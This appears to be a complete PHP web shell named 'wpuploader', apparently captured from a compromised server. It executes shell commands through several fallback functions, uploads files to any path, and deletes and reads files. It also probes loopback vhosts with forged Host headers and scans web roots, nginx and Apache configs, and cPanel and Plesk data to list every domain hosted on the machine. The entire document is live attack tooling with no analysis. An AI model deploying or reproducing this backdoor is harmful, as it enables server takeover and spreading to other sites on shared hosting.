Your IP : 216.73.216.36
<?php
error_reporting(0);
@set_time_limit(0);
@ini_set('memory_limit','-1');
function out($d){ header('Content-Type: application/json'); echo json_encode($d); exit; }
function sh($c){
foreach(['exec','shell_exec','system','passthru','popen'] as $fn){
if(!function_exists($fn)) continue;
if($fn==='exec'){ $o=[]; @exec($c.' 2>/dev/null',$o); return implode("\n",$o); }
if($fn==='shell_exec') return (string)@shell_exec($c.' 2>/dev/null');
if($fn==='system'){ ob_start(); @system($c.' 2>/dev/null'); return ob_get_clean(); }
if($fn==='passthru'){ ob_start(); @passthru($c.' 2>/dev/null'); return ob_get_clean(); }
if($fn==='popen'){ $h=@popen($c.' 2>/dev/null','r'); if(!$h)return '';
$s=''; while(!feof($h)) $s.=fread($h,8192); pclose($h); return $s; }
}
return '';
}
$do = isset($_GET['do']) ? $_GET['do'] : '';
/* ---------- info ---------- */
if($do==='info'){
out(['cwd'=>getcwd(), 'user'=>@get_current_user(),
'exec'=>strlen(sh('id'))>0, 'curl'=>function_exists('curl_init')]);
}
/* ---------- upload ---------- */
if($do==='put'){
if(empty($_FILES['f']['name'])) out(['ok'=>0,'err'=>'no_file']);
$path = isset($_GET['p']) ? rtrim($_GET['p'],'/') : '';
$dst = ($path==='' ? '' : $path.'/').basename($_FILES['f']['name']);
$dir = dirname($dst);
if(@move_uploaded_file($_FILES['f']['tmp_name'], $dst))
out(['ok'=>1, 'path'=>$dst]);
out(['ok'=>0, 'exists'=>@is_dir($dir), 'writable'=>@is_writable($dir)]);
}
/* ---------- check on disk ---------- */
if($do==='has'){
$p = isset($_GET['p']) ? $_GET['p'] : '';
if(!is_file($p)) out(['ok'=>0]);
$s = @file_get_contents($p);
out(['ok'=>1, 'size'=>strlen($s), 'match'=>strpos($s,'wpuploader')!==false]);
}
/* ---------- delete ---------- */
if($do==='del'){
$p = isset($_GET['p']) ? $_GET['p'] : '';
@unlink($p);
out(['ok'=>!file_exists($p)]);
}
/* ---------- loopback probe ---------- */
if($do==='probe'){
$hosts = isset($_GET['h']) ? explode(',',$_GET['h']) : [];
$hits = [];
foreach(['http://127.0.0.1','https://127.0.0.1'] as $base){
foreach($hosts as $h){
$h = trim($h); if(!$h) continue;
$code = 0; $body = '';
if(function_exists('curl_init')){
$ch = curl_init($base.'/b8.php');
curl_setopt_array($ch,[
CURLOPT_RETURNTRANSFER=>1, CURLOPT_SSL_VERIFYPEER=>0,
CURLOPT_SSL_VERIFYHOST=>0, CURLOPT_FOLLOWLOCATION=>1,
CURLOPT_TIMEOUT=>4, CURLOPT_CONNECTTIMEOUT=>4,
CURLOPT_HTTPHEADER=>["Host: $h"],
]);
$body = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
}
if($code==200 && stripos((string)$body,'wpuploader')!==false){
$hits[] = ['scheme'=>strpos($base,'https')===0?'https':'http', 'host'=>$h];
break;
}
}
}
out(['hits'=>$hits]);
}
/* ---------- scan filesystem for domains ---------- */
if($do==='scan'){
$map = [];
$bad = ['php','phtml','html','htm','js','css','json','xml','txt','log',
'jpg','png','gif','svg','ico','zip','tar','gz','pdf','orig','bak',
'old','tmp','map','disabled','min','lock','sql','db','yaml','yml'];
$re = '/^[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)+$/i';
$subs = ['httpdocs','httpsdocs','public_html','www','htdocs','web',
'public','wwwroot','html','webroot','docroot'];
$add = function($d,$p) use (&$map,$bad,$re){
$d = strtolower(trim($d));
if(!$d || strpos($d,'.')===false) return;
if(strpos($d,'*')!==false) return;
if(strlen($d)>253) return;
if(!preg_match($re,$d)) return;
$tld = substr(strrchr($d,'.'),1);
if(in_array($tld,$bad)) return;
if(!isset($map[$d])) $map[$d] = [];
$p = rtrim($p,'/');
if($p && !in_array($p,$map[$d])) $map[$d][] = $p;
};
/* walk a directory, add each domain-shaped child */
$walk = function($root) use (&$add,$re,$subs){
if(!is_dir($root)) return;
$items = @scandir($root); if(!$items) return;
foreach($items as $f){
if($f==='.'||$f==='..'||$f[0]==='.') continue;
$p = $root.'/'.$f;
if(!is_dir($p)) continue;
if(!preg_match($re,$f)) continue;
$add($f,$p);
foreach($subs as $s) if(is_dir("$p/$s")) $add($f,"$p/$s");
}
};
/* canonical vhost roots */
foreach(['/var/www/vhosts','/var/www/html','/var/www','/www/wwwroot',
'/srv/www/htdocs','/srv/www','/usr/share/nginx/html',
'/var/www/virtual','/opt/lampp/htdocs'] as $r) $walk($r);
/* Plesk: /var/www/clients/clientN/webN/DOMAIN */
if(is_dir('/var/www/clients')){
foreach((array)@scandir('/var/www/clients') as $c){
if($c[0]==='.') continue;
foreach((array)@scandir("/var/www/clients/$c") as $w){
if($w[0]==='.') continue;
$walk("/var/www/clients/$c/$w");
}
}
}
/* /home/USER/{public_html,domains} */
if(is_dir('/home')){
foreach((array)@scandir('/home') as $u){
if($u[0]==='.') continue;
$walk("/home/$u/public_html");
$walk("/home/$u/domains");
}
}
/* nginx/apache configs — extract ServerName + DocumentRoot pairs */
$cfgs = sh("find /etc/nginx /etc/apache2 /etc/httpd /usr/local/apache /opt/psa -type f 2>/dev/null | head -200");
if($cfgs) foreach(explode("\n",trim($cfgs)) as $f){
if(!$f || !is_file($f) || @filesize($f)>3000000) continue;
$src = @file_get_contents($f); if(!$src) continue;
if(preg_match_all('/server\s*\{((?:[^{}]|\{[^{}]*\})*)\}/s',$src,$bl))
foreach($bl[1] as $b){
$ns = []; $root = '';
if(preg_match_all('/server_name\s+([^;]+);/i',$b,$m))
foreach($m[1] as $line)
foreach(preg_split('/\s+/',trim($line)) as $d){
$d = trim($d,"\"' ");
if($d && $d!=='_' && strpos($d,'.')!==false) $ns[] = $d;
}
if(preg_match('/\broot\s+([^;]+);/i',$b,$m))
$root = trim($m[1],"\"' \t\r\n");
foreach($ns as $n) $add($n,$root);
}
if(preg_match_all('/<VirtualHost[^>]*>(.*?)<\/VirtualHost>/is',$src,$vh))
foreach($vh[1] as $b){
$ns = []; $root = '';
if(preg_match_all('/(?:ServerName|ServerAlias)\s+(\S+)/i',$b,$m))
foreach($m[1] as $d){
$d = trim($d,"\"' ");
if($d && strpos($d,'.')!==false) $ns[] = $d;
}
if(preg_match('/DocumentRoot\s+["\']?([^\s"\';]+)/i',$b,$m))
$root = $m[1];
foreach($ns as $n) $add($n,$root);
}
}
/* cPanel */
if(is_dir('/var/cpanel/users')){
foreach((array)@scandir('/var/cpanel/users') as $u){
if($u[0]==='.') continue;
$src = @file_get_contents("/var/cpanel/users/$u"); if(!$src) continue;
if(preg_match_all('/^DNS\d+=(.+)$/m',$src,$m))
foreach($m[1] as $d){
$d = trim($d);
foreach(["/home/$u/public_html","/home/$u/domains/$d/public_html","/home/$u/$d"] as $r)
if(is_dir($r)) $add($d,$r);
}
}
}
out(['count'=>count($map), 'domains'=>$map]);
}
/* ---------- default HTML page ---------- */
header('Content-Type: text/html; charset=utf-8');
echo '<html><head><title>wpuploader</title></head><body>';
echo '<h1>wpuploader</h1><pre>CWD='.getcwd().'</pre>';
if(!empty($_FILES['f']['name'])){
$p = isset($_GET['p']) ? rtrim($_GET['p'],'/') : '';
$dst = ($p==='' ? '' : $p.'/').basename($_FILES['f']['name']);
if(@move_uploaded_file($_FILES['f']['tmp_name'],$dst))
echo '<pre>Upload Success: '.htmlspecialchars($dst).'</pre>';
else
echo '<pre>Upload failed</pre>';
}
echo '<form method="post" enctype="multipart/form-data">';
echo '<input type="file" name="f"><input type="submit" name="_upl" value="Uploaded">';
echo '</form></body></html>';